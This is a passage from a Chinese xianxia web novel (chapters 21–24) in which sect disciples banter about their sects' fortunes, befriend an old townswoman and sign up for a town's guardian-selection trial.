沈复宁好奇地回头望了一眼,只看到了俞时逢还未来得及收回刚刚朝姬齐结递过去的手,问他,“你拿的什么?” “你猜?” “谁在乎。” 俞时逢笑了笑,还是姬齐结慢吞吞的将手张开,让沈复宁看,里面放着个巴掌大的罗盘,轻声说:“我的罗盘刚刚掉地上了,他帮我捡起来的。” “罗盘?”姜柳依不可置信,“你们爻机山还在纠结算这一脉啊。” “不一样的。”姬齐结不知道想到了什么,眼中隐隐冒出了光,语气也足了起来,“祖师爷前段时间回来了。” 21. 第 21 章 众人静默,停下了脚步,盯着姬齐结,仿佛他刚刚说了什么大消息一样。 只有沈复宁还没跟上节奏,脑子里面是姬齐结手中拿着的那个罗盘。 见她不在状态,姜柳依伸出手指戳了戳她,“你没听见吗?他说他师叔前些日子回来了。” “听见了。”沈复宁不动神色朝俞时逢那边看了一眼,没什么波澜的说,“那又怎么了。” 说完,有觉得不对,那消息确实够大的,毕竟能让姬齐结用那种尊重,崇拜,和自豪的语气说出那么一句话,也够他们惊讶了。 更不用说,他口中的师叔,那可算得上是他们爻机山的祖宗了。 哪怕过了百年,名头依旧响彻整个世界。 与百年前,靠着爻机山的赫赫威名,加上那令人难以望其项背的推演之能和阵道天赋,一朝扬名天下的名声不同。 如今,大多数人更关心的是。 “你那师叔不是喊着去找自己那命中注定的天作之合下了山之后,就再也没回来过了嘛。” 姬齐结将头伸出来,瞪大了眼睛,一眨不眨的盯着说出这话的姜柳依。 他盯得瘆人,姜柳依往花雾姒身后躲了躲,语气也虚了下来,“这,大,大家不都这样说的吗?”他看着姬齐结的脸,虽然底气不足,却依旧不怕死的将自己好奇的话说了出来,“而且,不是还说,你们爻机山算术推演一派,也是从他下山之后才衰落的。” 姬齐结不盯了,重新将脖子收回到衣领中,垂下头,越过了几人,继续朝客栈走,树荫的遮蔽下,那背影显得有些落寞。 见姬齐结不说话,自顾自往前走,姜柳依也发觉自己说了不该说的,走到他身旁,抚摸着他的头,安慰道:“还好了,现在哪个门派不是逐渐显现出衰败之势,而且,你师叔都回来了,你们爻机山肯定就触底反弹了。” “才没有。”姬齐结闷闷道。 “就是,虽然我们太初宗建立时间不过几百年,”跟在俩人身后的沈复宁听不得别人说自己门派的话,哪怕从一定角度来看是真的,可那也不行,“但我们依旧英才辈出,仍旧如日中天,还在蓬勃发展,放眼望去一幅欣欣向荣的好景象,完全看不出任何颓势。” 楚予欣慰的拍拍沈复宁的肩膀,她已经许久没有从沈复宁的嘴里面听到过如此正确的话了。 “韶韵阁人才济济,没有丝毫式微之象。” “砍辟门更是高手如云,威震一方。” 话落,所有人都看向了还未发言的俞时逢。 俞时逢叹了口气,无奈开口:“青屏山满打满算两个人,实在说不出门派兴旺这类话。” 众人尴尬的笑了两声,一时间都忘记了眼前这个人无门无派。 倒是沈复宁看向了开启话题的姜柳依,问她,“你们药王谷怎么了?” 姜柳依将手从姬齐结的头上移开,转了个身,倒着走,看着几人,愤恨地开口,“这不是在安慰我们姬齐结小道友。”怜惜的又在他头上摸了两下,“看见各个门派繁荣依旧,只剩下爻机山这个历史最为悠久的门派断了一派,我们姬道友一定很难过。” 抬起另一只手,指着环着指了一圈,“谁知道你们上来就撒了三把盐,恨不能将他的伤口给腌入味。”最后,手指停在沈复宁面前,“尤其是你,你刚刚撒的最多最狠最顺手。” 沈复宁无辜,她只是习惯性顺口接了下去,但看到不知何时又停下的姬齐结,正垂眸看着她。 她说不清楚那个眼神,但好像又在哪里见过,只是她一下子没想到。 “咳。”俞时逢突然咳嗽一声,抬头看了眼冲枝叶缝隙透出来的点点星光,说:“我们是不是该回去了。” “我们不是在走吗?”姜柳依无语,却也下意识加快了跟在姬齐结身后的脚步。 然后,一个跟一个,脚步都比刚刚快了不少。 除了眼神从姬齐结身上移开又放到了出口提醒的俞时逢身上的沈复宁,突然知道了那眼神的熟悉感是从哪里来的了。 她确实见过,就在这个人眼中,刚见过不久,可好像又有点不同。 “是什么呢?”她着头缓缓往前走。 “撞墙了。”俞时逢带着笑意的话,在耳边响起。 她看着俞时逢眼中盛着的笑意,突然,伸手用手托着他的脸,强迫着对方同她对视。 俞时逢看着逐渐放大的脸,吞了吞口水,僵硬的开口询问:“怎,怎么了?” 沈复宁没理,弯了弯头,仿佛要将自己放在他瞳孔中或是将他的眼眸刻在自己眼中,眸光定定的看着他,不知道在找什么。 俞时逢感受着因为风吹而不断往自己手中撞的发丝而惹起来的阵阵痒意,终于忍受不住,垂眸,躲过对方那看不出原因的注视,伸手,将沈复宁被吹的有些乱的发丝,压回到她的耳后。 沈复宁的手在俞时逢伸手的前一刻便放下了,脚步没移,随俞时逢做什么,只是在问:“你到底隐瞒了什么?”的时候,明显感觉到对方抚自己头发的手顿了下,有意无意的擦过自己耳廓。 “不要紧张。”沈复宁带着笑意说,“就像之前的仙门大比一样,只是停留在好奇的地步。” 她的口吻平静,传到俞时逢耳中却是另一种意味。 果然。 沈复宁看向他的神色,将剩下没说出口的话说出来,“倒是……你和姬齐结之间的某种目前我不知道的联系,燃起了我所剩无几的探究欲。” 她的眼神扫过俞时逢毫不意外的神色,耸了耸肩,正如她所想,俞时逢就没想过他和姬齐结之间的联系能瞒过她。 “俞时逢,你会算术推演吗?”她突然开口,虽是询问,口吻却是笃定。 “我……”俞时逢喉结滚了滚,张开口。 “不要说你不会。”沈复宁看着他,“我的锻造之术是因你入门的,是不是你做的东西我一眼就能看出来。” 俞时逢喉间溢出笑,心情明显见好,冲她挑眉,“这么确定?万一姬齐结只是托我做了个罗盘给他呢?” “随你。”沈复宁不想同他掰扯这件事了,反正自己心中有树了,冲他甩了下袖子,扭头就打算走。 “沈道友,别走啊。”俞时逢笑着,去拉沈复宁的手。 可惜,沈复宁没给他这个机会,那只因为习惯而落后一个身位的手,立刻被主人收了回去。 俞时逢看着她的动作,不死心的跟了上去,落后她一两步的距离,弯着腰,在沈复宁右侧冒出与她齐平的脑 袋,看着她,笑意藏都藏不住,“给个机会呗。” 沈复宁目不斜视,十分顺手就要往他头上招的时候,他又立刻将脑袋收回,出现在沈复宁的左侧,“我如实交代。” 对方照刚刚一样抬手往她头上打的时候,俞时逢如法炮制躲避再出现在另一侧,“真的,别不信啊。” 沈复宁强压下即将扬起的嘴角,再次抬手,俞时逢继续躲,继续说:“再给点信任呗。” 沈复宁不说话,俞时逢就这么冒出来,说完话一句话,察觉到对方抬手,再往后躲,然后,从另一侧再冒出头,不知疲倦一样。 偏偏,沈复宁跟俞时逢一样,明明在他刚冒出头的瞬间,就能打到,却又不知道在想些什么,非得等对方将那前言不搭后语的话说完,才做做样子伸手,又不落下。 俞时逢弯着的上身不累一样,不停的从左边侧向右边,因而,沈复宁的手也不曾停息,刚从左边抬起,就要移向右边。 好不滑稽。 “我知无不言啊。” 沈复宁不再强迫自己将笑意藏住,停下了脚步,脸上绽放着笑,看着俞时逢,点了头,说:“行,我信了,你知无不言。” 俞时逢脸上的笑意一僵,呆滞了一样,眨了两下眼,不可置信的目光从眼中投射出来。 沈复宁被他的样子逗笑了,看着俞时逢耷拉下来的嘴角,踮起脚,善解人意的拍了拍他垂下的头,“放心,不会问你什么特别的事情的。” 俞时逢不相信,低着声音呢喃,“可你怎么知道什么特别,什么不特别?” 沈复宁听着他那委屈夹带着懊恼的声音,眼中笑意更盛。 这种场面哪怕重来了这么多次,也不多见啊,沈复宁在心中感叹。 更是起了逗弄俞时逢的心思,故意道:“是啊,我确实不知道,那要不……” 俞时逢抱着那微不足道的沈复宁放弃的希望,看着她。 沈复宁情不自禁地再次摸上他的头,将俞时逢最后的希望灭了,“你都说了吧。” “啪。”俞时逢眼中的光,彻底灭了。 沈复宁笑了出来,摸着他的头,安慰道:“好了,我只问你一件事。” 俞时逢看着她,眼中的怀疑藏都藏不住。 沈复宁看着他,还没开口,就听见前面传来的止不住的咳嗽声,皱着眉,朝那边看过去,脸上的笑意瞬间收了起来。 楚予的目光在两人身上转了转,最后停在了沈复宁的身上,“我们刚刚回到客栈,回头一看,发现丢了人。” 她看着沈复宁,意有所指,“原来不是丢了,是自己跑了。” 沈复宁讪笑两声,瞥了眼挺得笔直的俞时逢,咬着牙轻声说,“记着,我们改日再继续。”说罢,咬着唇,走到楚予的身旁。 “别,你别喊了。”楚予看着跟在身后的俞时逢,“我担待不起。” “别啊。”沈复宁晃着楚予的胳膊,“小鱼儿,除了你还有谁能负担的了我。” “除了我,谁不能负担的了你。” “你怎么这样。” “我就这样。” 俞时逢听着俩人满是槽点的话,脸上的笑收不住,就这么缓步跟在沈复宁身后,一步一步,往前走。 22. 第 22 章 早晨,城外漫着沉沉瘴雾,却被玄榆巨大的树冠稳稳拦在外面,再缓慢吸收,雾气逐渐减弱。 城内不见朝阳,只有枝叶缝隙漏下的淡淡柔光。 青瓦沾着晨湿,巷子慢慢有了动静。 百姓推开木门,整理器物,低声交谈,木伺巡城的脚步声缓缓穿过街巷,衣料蹭过带着苔藓的墙根,往一个方向聚集。 老妇推着堆着竹筐的独轮车,小心翼翼地走在队尾,车轮碾过路面凸起的石子,猛地一歪,车身骤然倾斜筐里杂物眼看就要倾覆。 千钧一发之际,一阵带着玄榆汁液的草木香气随着身后女子的动作钻入老妇的鼻腔,她抬手稳住歪斜的车沿,瞬间稳住了颠簸的独轮车。 待老妇稳住身形,忙不迭地朝伸手之人道谢,抬头望过去,对方正侧着头,眉眼弯弯,盛着玄榆枝叶筛落得细碎晨光,澄澈通亮,被她看着的老妇,一时间没说出话。 沈复宁见老妇愣着,嘴角的弧度越发的大,伸手妄想从老妇手中将独轮车接过。 没想到老妇瞬间回了神,将把手抓的更紧,沈复宁一下子没抢过来,甚至使独轮车在次歪斜。 急忙再次将车摆正,明白了老妇的态度,手也没再从车上移开,缓慢的跟在车旁,明知故问朝老妇卖乖,“婆婆,你们这是去做什么?” 老妇见她虽然穿着瘴城的衣裳却面生,也就明白了她应该就是昨天来刚来他们瘴城就将玄榆烧了的那七人中的一个了,本以为会是一群不好相与的,但……老妇看了眼在一旁帮她稳住车身的沈复宁,将最初的想法压了下去。 没好气的想,“传言误人啊,这姑娘明眸皓齿,怎么也不像那种人。” 沈复宁看着老妇愈发紧皱的眉头,笑了笑,善解人意道:“是不方便说吗?” “这不是三日后荫守遴选就要举办了,我们这都是去做准备的。” “那怎么能让您一个人推这么重的车,拿这么多的东西?”沈复宁为老妇打抱不平,引得老妇哈哈笑了几声,越发觉得面前的姑娘不是那种会烧玄榆的人。 老妇压低了声音,朝着四周看了看,挤眉弄眼的让沈复宁凑近点。 沈复宁见老妇神神秘秘的,也好奇对方要说什么,顺从的将身子往老妇那边偏了偏,就听见老妇说:“他们倒是也想跟我一样拿这么多东西出来,可惜没机会啊。” 听出老妇口中的自豪,沈复宁冲她竖了个大拇指,发自内心的好奇,也学着老妇压低声音,问:“为什么没机会啊。” 老妇朝她挑了下眉,示意她掀开筐子。 沈复宁揣摩着她的眼神,不确定的指了指自己,又指了指竹筐,见老妇点头,才伸手将距自己最近的竹筐上面盖着的布掀开,从里面拿出一两件东西看着。 都是外界随处可见,蕴着微薄灵力的零碎摆件,做工也大都粗糙。就连沈复宁只会靠着灵力做几件武器的人都能大言不惭的保证,自己一上午就能做出一筐出来。 可老妇望着满筐物件,眼中满是骄傲与珍视,同沈复宁说话的时候,脊背都挺得直了些。 “这些都是我女儿,一年又一年从外头回来带给我的,我都留着,专门用来装点遴选仪式的。”眼中的光亮晃的沈复宁低下了头,“整个瘴城只有我有这么多,他们都想来找我拿,我可舍不得。” 她说着,语气弱了下来,“只是因着今年外面的瘴气多了起来,我女儿没能来,要不然我能拿出更好的。” 沈复宁偏头看了眼老妇,将自己原想说的,能给她做更多更好的摆件装饰,咽了下去,捧场的说:“这可好,等荫守遴选过去,您女儿就能回来了。” 只见老妇头低了些,脊背也弯了下来,故作不在意的说:“今年来不了咯。”没等沈复宁询问原因,老妇便自作答了,“她在一个小门派里面当弟子,每年就只有那么两天空闲的时间,匆匆见一面就又走了,今年那两天已经过去了。” “这样啊。”沈复宁看着低落下来的老妇,安慰她,“没事,你告诉我她在那个门派,等我回去的时候,去给她师父说一下,再给她两天假期。” 老夫看着沈复宁一幅当家人的样子,乐出了声,“小姑娘,就别逗我这老婆子了。”明显是不相信沈复宁有这本事,却又不只是出于何种心理,将女儿给她说的门派说了出来,“寒霜门。” “唔。”沈复宁囧,她确实没听过这个门派。 老妇见沈复宁疑惑的表情,心里稍稍失落了两分,安慰了她起来,“没事的,明年再见也是可以的。” 沈复宁不好意思的朝老妇笑了两声。 老妇问她,“你可也是修士?” “我?”沈复宁摇了摇头,“您看我像吗?” 老妇停下车,细细打量着沈复宁,虽然穿的是他们瘴城随处可见的粗布衣裳,可骨子里的气度怎么也掩不住,和寻常百姓截然不同,但若是修士的话…… 目光往下,落到对方扶着车沿的手上,指尖纤细光洁,掌心不见半分厚茧,与自己女儿完全不同。 她的女儿每次从城外回来,手上,身上,总会添上新的伤痕。 老妇心中暗忖,这般手绝不是常年练术搏杀的修士该有的。重新抬起车子,冲沈复宁道:“姑娘,就别逗我了,你这一看就是哪家的千金闲着没事,出来玩的吧。”她今日心情不错,也不免多说了两句,“怎么就选了我们这么个破地方。” 沈复宁笑了两声,没反对老妇说她不是个修士的事,却对她说瘴城是个破地方不赞同,“这怎么破了,山清水秀的,还碰到了几年才举办一次的荫守遴选,不应该说我运气好嘛。” 老妇被她逗笑了,问她:“喜欢我们的荫守遴选?” “不知道。”沈复宁诚实道,“我一没见过,二没参加过,怎么知道喜不喜欢。” 老妇听出了她的言外之意,问她:“想参加?” “不是说只有城中人才能参加吗?”沈复宁故作郁闷,“我又不是。” 老妇爽朗的笑了笑,反问她:“你怎么不是?”她从余光中看见了沈复宁望过来的眼巴巴的眼神,“你现在不就在城里面嘛。” 沈复宁一愣,等反应过来跟着笑出了声,“你们也没说是这么个城中人啊。” 见沈复宁高兴了,老妇给她浇了盆冷水,“但你恐怕参加了也过不了第一关。” “为什么?” “你们外面的家里条件好的应该都会送孩子去修炼,但你没有” “链接?”沈复宁皱了皱眉,想到了自己在岑倪身上看到的那两道气息,莫名觉得不太对。 见沈复宁不说话了,老妇以为沈复宁因自己说她过不了第一关失落了,却没想到,下一瞬,对方眼中冒出了一股倔强,“万一我过了呢?” 老妇一愣,旋即又笑了出来,她可真是太喜欢这个小娃娃了,“没用的。” “您怎么知道没用?”沈复宁不服气,“我看你们城里面也没有修士,为什么他们就能。” “那是不同的,我们城里面有天赋的都出去了,几年才可能回来一次,有的甚至出去就见不到了。”老妇说着不免有些惆怅,“留下来的都是天赋不明显的。” 沈复宁嘴角抽了抽,强逼着自己,才没有对老妇说的天赋不明显讽刺两句。 “至于你……”老妇朝沈复宁看了两眼。 沈复宁挺直了脊背,任她打量。 老妇摇了摇头,还发出了啧啧两声。 什么意思,沈复宁懵了,她这几辈子加起来都没有人怀疑过她的天赋和能力,如今倒是教一名老妇看不起了,她有些挫败。“婆婆,您就直 说吧,不要卖关子了。” “你这金枝玉叶的样子,家里面肯定试过送你去修炼,只是不知道是什么原因没成功……” 沈复宁听明白了,这婆婆真的将自己当作哪家娇生惯养的毫无灵气的大小姐了。沈复宁无奈的笑了两声。 落在老妇耳中,确实沈复宁被自己说准了,才尴尬的笑了出来。为了避免自己打击了大小姐的上进心,老妇又说:“过不了第一轮也好,万一你真闯过了,成了我们新木伺,可是要留在这里的,你能舍得吗?” “我能啊,婆婆。”沈复宁立刻说,“这里多好,风景宜人,我就当提前避世了。” 老妇摇了摇头,没当真。 “荟桂,这里。”前面有个人大声冲她们喊了一句,将手举得高高的挥着。 剩余人听到了命令,立刻分散到两边,你一声我一声的通知着周围的人,“陈婆来了。” 沈复宁看着因为一声,而在面前多出来的一条道,不可置信的看着面前这个叫做陈荟桂的人,又盯着那车上的竹筐,不禁在心中盘算,若是让俞时逢做一筐出来,他们能在这里的客栈住上多久啊。 又不禁感叹,这种朴素的金钱观若是能在整个世界普及就好了,只要带上俞时逢,想要什么没有。 沈复宁像护送国宝回归一样,被周围人盯得紧紧的,生怕她一不小心松了手,或是手一抖,就磕着碰着哪里使车翻了,就耽误了荫守遴选。 脸上的笑都快僵住了,终于到了他们布置的地方,沈复宁飞速松手,怕慢一秒,那些人的目光就将她给灼穿。 “等下。” 沈复宁看着拉住她手的陈荟桂,疑惑的问:“怎么了,婆婆?” 陈荟桂指着朝玄榆的方向指了过去。 沈复宁看过去,只见玄榆根下摆了张桌子,桌子后面的人正奋笔疾书的写着什么,又看了眼前面看不见尾巴的队伍,不确定的问:“这是你们荫守遴选的报名方式?” 陈荟桂点了点头,沈复宁心凉了一半,这她得排到天黑吧。 许是看穿了沈复宁对排队的恐惧,拍了拍她的肩膀,对她说:“放心,李满仓是我们这里写字速度最快的,排不了多久。” 她说的真诚,可惜沈复宁并没有被安慰到,只能扯着嘴角,勉强的笑了笑。 陈荟桂看她这副半死不活的样子,还想说些什么,被另一名婆婆,急忙的拉着走了,“荟桂,你还不快来,跟我们说这些东西该怎么放。” 那人来的突然,陈荟桂也只说了句,“真的,人只是看得多。”就走了。 沈复宁看着面前的队伍,深吸一口气,又吐出去,垂着头,认命地往队尾走。 其实,陈荟桂并不是安慰沈复宁,队伍只是看着人多,其实报名的没有多少,大多数都是穿插在队伍之中忙着布置现场的人。 沈复宁从前往后走,数着人数,最后停在了与周围人格格不入的站在队伍前列的熟人身旁,“你在这做什么?”话刚说出口,就后悔了,这很明显了,他在这排队报名。 于是,没等对方回答,又立刻改口,“你什么时候出来的。” 俞时逢看着她,笑着说:“不知道,那时候天还没亮吧,外面就吵起来了,我就出来看看,听他们说只要在城里面就能参加,我就来试试。” “呵呵。”沈复宁干笑两声,对此没发表任何意见,扭过头,继续往后走,只希望,她不会在后面见到其他熟人了。 终于走到了队尾,她再次愣住,是没见到熟人,但也差不多了。 她看了眼同自己打招呼的岑贺,想不通,为什么已经是木伺了岑贺和岑倪还来参加这荫守遴选。 岑贺还未将她好奇的答案说出,前面已经有人替他开了口。 “木伺也是一届一换的。” 23. 第 23 章 沈复宁看了跟过来的俞时逢,立马站在了岑贺身后,问他,“你咋知道的?” 话刚说出口,就知道自己说了句废话,人家肯定也是刚刚了解的。 看了回头看了眼站在自己身后的俞时逢,又问了一句,“那你说说,这荫守遴选都有什么环节,为的是什么?” 俞时逢勾唇笑了笑,看着沈复宁,朝着前面竖着耳朵听着他俩交谈的人挑了下眉,意思很明显了。 沈复宁翻了个白眼,转身看着前面的人。 岑贺十分上道转过身来,给俩人答疑解惑。 荫守遴选分为三个环节。 第一个环节与刚刚陈荟桂婆婆说的还是有差别的,城中人称这个环节为:木心鉴。同他们仙门大比的第二轮异曲同工,所有参与者踏入玄榆清气领域,玄榆未来得及吸收净化的瘴气会引动人心杂念,内心浮躁,心存恶念者,会被清气排斥,周身受瘴气余息侵扰,心神刺痛,直接淘汰。 第二个环节为:灵台争锋。玄榆根须圈定擂台,禁止致命杀招,被击出界限者即为落败。 第三个阶段为:神木问契。前两轮获胜者同时伸手触碰树干,树干漾起翠色灵光,被灵光包围者,便是新任木伺。城中人都认为,这是神木玄榆自主挑选的能够驾驭清气,镇压瘴气的人选。 沈复宁听着,莫名想到了众人对玄榆附近进而远之的态度,抬眼看向岑贺,问他:“是因为玄榆没有办法立即将瘴气吸收净化,所以它的周围才如此安静的?” 岑贺似是想到了什么,笑了出来,“应该不是吧。”他看着沈复宁,似是但是那日自己说可以近距离接触让她误会,又补充,“玄榆不会伤害它的城民,只是它在瘴城的地位太重了,导致人人生怕冒犯它,不敢靠近。” 他抬头看着为他们遮天蔽日,留下安稳一隅的玄榆,目光有些复杂。 “听你们这个规定,每届应该只有一个木伺才对,可……”俞时逢的目光在岑贺和岑倪之间转了两转。 “这说明我和哥哥都很厉害。”岑倪终于忍不住了,转头怼俞时逢,“我俩可是迄今为止第一对两人同时当木伺的。” 她看着沈复宁,语气生硬,“新一任木伺肯定还是我俩,至于你,还是快点走的比较好。” “岑倪,不要乱说。” 岑倪看着沈复宁,像是还要再说什么,但看着自己兄长蕴起怒意的眼神,还是将剩下的话歇了下去。 岑贺包含歉意地对沈复宁说:“小妹不懂事,沈道友不要放在心上比较好。” “怎会。”沈复宁看着岑倪,暗暗思量,“我挺喜欢她的。” 她询问岑倪,“你怎么知道我当不了木伺?当日的比试,我可比你厉害的不止一星半点啊。” 岑倪有些气,眼神晃过自家兄长,底气不足,“你当木伺做什么?” “不知道。”沈复宁回答了后,就侧头看向一直跟在自己身后的俞时逢,将岑倪的问题向他重复了一遍。 “感兴趣。” “对,感兴趣。”沈复宁又将俞时逢的答案同岑倪重复了一遍,“我对自己没有涉足过的领域都挺感兴趣的。” “你,你要真当了木伺可是要留在我们这里的。”岑倪又说。 “嗯……”沈复宁像是在思考,反问她,“留在这里有什么不好的吗?” 岑倪看了眼自己哥哥紧绷的脸,笑了笑,“能有什么不好的,无非就是觉得你千金之躯无法受这个苦而已。” 沈复宁笑了,“听你这个意思,是觉得我能当你们的新木伺了?” “别往自己脸上贴金了,我还是劝你,最好不要参加的好。” “岑倪,莫要瞎说。”岑贺严肃的声音再次响起,比之前更多了分凌厉,“能成为木伺是我们的荣幸。” “是吗?”岑倪低头看着自己,冲她兄长扯了扯嘴角,转过身,没再说什么。 岑贺冲沈复宁两人点了点头,也没再交谈。 倒是沈复宁没放过两人,又像是为了让岑倪安心,“放心,就算真当了你们木伺,你们这座小城也搁不下我。” 俞时逢听了沈复宁的话笑了出来。 “笑什么。”沈复宁没好气的冲俞时逢说。 “就是觉得你说的挺对的。”俞时逢说,“确实搁不下你。” 沈复宁看着俞时逢一脸没什么好话的样子,也不相同他多说什么,瞪了她一眼,继续冲中间隔了一个人的岑倪询问,“怎么,当木伺当的不开心啊?” “怎么会呢。”岑贺替岑倪回答了,“若是不开心,小倪又怎么会再来报名。” 沈复宁看着岑贺若有所思的点了点头,朝后仰了仰,同俞时逢说:“今晚有事吗?” 俞时逢摇了摇头,问她:“有什么安排?” 沈复宁眼睛看着岑贺,用只能让俞时逢的声音说:“我师姐常对我说,有恩要报,人情要还,我觉得大木伺对我们挺照顾的。” 俞时逢没压着笑意,沈复宁脸上明晃晃的写着“要搞事。”三个字,却偏偏要给自己找个冠名堂皇的理由,但转念一想,大木伺确实挺照顾他们的。 只是,看着沈复宁溜溜转的眼球,学者她凑到她的耳朵边,用气音,故意问:“你确定你师姐同意?” “当然。”沈复宁站直,揉着耳朵。 确定了能跟自己打配合的人今天晚上不会去做一些别的事情,沈复宁放心的拍了拍身前人的肩膀,“大木伺今晚有空吗?” 岑贺没立即回答,而是问沈复宁,“有什么事吗?” 沈复宁笑笑,“这不是我们出来瘴城,就受到大木伺的关照,想要请你吃顿饭。” 沈复宁说的情真意切,见岑贺有所迟疑,反手将俞时逢推出来。 “对。”俞时逢眼神晃过沈复宁不动声色将手从自己胳膊上移开,看着岑贺,“这可是楚予交给我俩的任务,若完不成,恐怕今晚不会好过。” 岑贺放在袖中的手指不停揉搓着,婉拒道:“还是不了,荫守遴选在即,公务有些多。” “这样啊。”沈复宁有些可惜,突然又问:“那……岑倪有空吗?”看着岑贺怔愣的神色,解释,“那日,我与岑倪闹了点不愉快,若是你去不了,让岑倪去也算我对师姐有个交代。” “这……” 见岑贺有些犹豫,俞时逢说:“那日回去之后,楚予带着沈复宁可是好一顿训斥,今日交代的任务若是没能完成,恐怕今晚她也不能好好过了。” 沈复宁听着,脸上就显出落寞的神色,又带着些许倔强,“去不了也没事,无非就是说我两句,不痛不痒的,没什么大不了的。” 两厢配合,岑贺脸上有了些许松动。 俞时逢又适时加了点润滑剂,“倒也没错,最多就是沈复宁只能在今晚楚予睡着的时候,偷偷出来开个小灶了。” “没事的。”沈复宁低着头,声音不大清晰。 “唉……”岑贺看着俩人你一言我一语的将他架上去,搞得他不去倒是对不住沈复宁了。 “要不就让我去吧。”岑倪突然说,“哥哥,你就去忙你的。” “你忘记你今晚需要做什么了?”岑贺严厉道。岑倪回头,不再说话。 岑贺嘴角挂着笑,“既然这么诚信,我再推辞就却之不恭了。” 沈复宁和俞时逢相视一笑。 “酉正时,大木伺可能将公务做完?” “尽量。” 沈复宁像是听不出岑贺话中的勉强,立刻就 将事情确定了,“那就还在昨日的饭馆?” “好,只恐今晚你们等的烦了。” “多虑了,我们反正也没什么事情做。”沈复宁笑着说,不死心的又问,“岑倪妹妹真的没空来吗?” “确实没空,她已经落了好几日的功课没做,今日若还是交不上去,城主会责罚的。” “那就不勉强了。” 沈复宁回头看了眼俞时逢,意思很明显了,“告知楚予的事情交给你了。” 俞时逢眨了眨眼,“为什么?” 沈复宁耸耸肩,无辜的看着他,“没办法。” 俞时逢盯着她看了两眼,叹了口气,伸出手,将她往前推了两步。 沈复宁发自内心的笑了,楚予那边自己不用找借口了,高兴。 还没高兴一会儿,就感觉到身后有人戳了戳自己,转过身,看见的是俞时逢冲自己张开的手。 沈复宁学着他刚刚的样子,眨眨眼,又从上到下拍了拍自己,摊开手。 俞时逢盯着她,手没动。 沈复宁看着他的手,终是认了,在自己乾坤袋中摸索了会儿,将俞时逢给自己的那只“铁燕子。”拿了出来,放在了他的手心,还贴心的握着他的手,将那“燕子。”握在他手中。 俞时逢看着她的动作,无语的笑了。 沈复宁见俞时逢不满意,撇了撇嘴,将那燕子又收了回来,像是什么都没发生一般,快步将队伍的空缺补了上去。 俞时逢愣了两秒,才反应过来一样,跟了上去,开口,“真的没有报酬吗?” “你又不是姜柳依。”沈复宁头都没回。 俞时逢想了想,“随便给个什么,敷衍一下也行啊。” “刚刚给你,你不是不要吗?” “讲讲道理,你把我给你的东西再给我?” 沈复宁不再说话了,努力让自己忽略身后递来的幽怨视线。 沈复宁低头看着地上逐渐多出来的太阳光斑,一脚踩着一个往前走。 等到周围光斑到达最多的时候,前面也没了人。 “姓名。” “沈复宁。” 沈复宁看着听到她名字时,手上动作停顿明显的李满仓,重复了一遍自己的名字,善解人意的问,“有什么问题吗?” “没有。”李满仓抬起头冲她一笑,手中的笔流畅的将她的名字写了下来,还不忘让她确认,“字可有错?” “没错。” “那就好。” 两人互相看了一会儿,李满仓终是受不了了,问她,“可还有事?” 沈复宁似是不解,“这就没了……” “不然呢?” “哦。”沈复宁往旁边走,嘴里面还在嘟囔,“还以为会复杂一点呢。” 李满仓没听见沈复宁的话,如法炮制的登记了俞时逢的名字。 后面没人了,李满仓也没再等会儿,立刻就收拾了起来。 沈复宁和俞时逢见状,帮他将那些拿不住的东西接了过来。 沈复宁好奇地问,“不再等等了,万一还有人呢?” 李满仓笑笑,“不会有人了,我们城里面的青年能来的都来了,就连不是我们城的人都来了。” 沈复宁知道他在说自己,挠了挠头,“我们不能登记吗?” “当然能。”李满仓想都不想就说,说了之后还在后面补充了句什么,也不知是想让他们听清,还是不想让他们听清,说的及其含糊。 只是俞时逢和沈复宁那吓人的听力,自是没有错过他的那句话,只是按捺住了心中的冲动,没将剩下的话问出来。 李满仓看了两人一眼,将他们手中的东西收了回来,逃似的,只将桌子留下。 24. 第 24 章 沈复宁和俞时逢两个人隔着桌子两厢对望,沈复宁看着他,眼中的场景却陡然变化。 俞时逢站的比远多了,不知是距离的原因还是画面模糊的缘故。 沈复宁看不清俞时逢的样子,只是那双眼睛中的难过像是溢了出来,刺眼的很,看的她眼疼。 情不自禁的伸出手,意料之外的,沈复宁碰到了他,含糊不清的说:“我找不到。” 沈复宁的情绪来的措不及防,离得最近的俞时逢只能下意识的伸手,也只是堪堪接住了那滴落下的泪。 出乎意料的触碰让沈复宁收回了手,呆滞一刻,又将手重新抬起,不轻不重的垂着脑袋,企图将那始料未及的画面从脑子里面砸出去。 猝然,一袭温暖将她的手包裹住,随后,她听见关切的询问,“怎么了?” 沈复宁眨了两下眼,将那画面带给自己的彷徨,无助强压下去,冲着关心自己的陈荟桂扯起一个算不得笑的笑。 陈荟桂担忧的拿着一方帕子为她擦着脸上落下的泪痕,着急的问,“怎么哭了?” 沈复宁脸上依旧挂着笑,话语中全是对陈荟桂的不解与迷茫,“我哭了?” “泪痕还在脸上挂着呢,可不是哭了。”陈荟桂不觉好笑,怎么有人连自己哭没哭都不知道。 沈复宁眼中的雾散去了些,眼底的迷茫还留有余韵,下意识的朝俞时逢望去,看着对方忐忑的眸子,突然忘记了自己刚刚看到了什么。 “哎呀,是报名不顺利吗?那不参加就是了。”沈复宁不说话,陈荟桂也不知心中怎样的百转千回,就认定了是她荫守遴选报名不成功才伤心的,安慰她,“不就是一个荫守遴选嘛,没什么大不了的。” “陈阿婆,你怎么说话的。” “去你的,你管我怎么说话的。”陈荟桂嫌弃的冲着对她对荫守遴选毫不敬畏的而生气的人摆摆手,又摸摸沈复宁的头,“真想参加的话,大不了到时候婆婆偷偷将你塞进去。” 沈复宁笑了出来,“我没事,婆婆。” “瞎说,没事能哭?”陈荟桂不相信。 “我真的没事。”沈复宁怕陈荟桂还不相信她的话,捏了捏俞时逢的手。 俞时逢将脸转向陈荟桂的方向,冲她一笑,“婆婆,真的没事,我俩刚刚在玩呢。” “是吗?”陈荟桂还是不怎么相信,眼神转了转,将手帕塞进沈复宁闲着的手上,往一旁走去。 没等沈复宁和俞时逢两人想明白陈荟桂去做什么,她就拿着个纸风车再次走了过来。 四片叶轮,红黄蓝绿各一色,拿着放到沈复宁的面前,说:“吹一下。” 沈复宁看了她一眼,见她点了点头,试探的吹了口气。 风车开始转动,顺着转动的方向向外洒出几粒针尖大的光点,同样是红蓝黄绿这四种颜色,在阳光的照耀下不太明显,像被碾碎的萤火,飘出两尺远就灭了。 很简单的小玩意,大街上随处可见,一枚品质最差的灵石,就能买到。 可陈荟桂却藏了许久,到现在捏着它的手指都在泛着白。 犹豫的看着沈复宁,最后眼一闭,将她递了出去。 “这……” 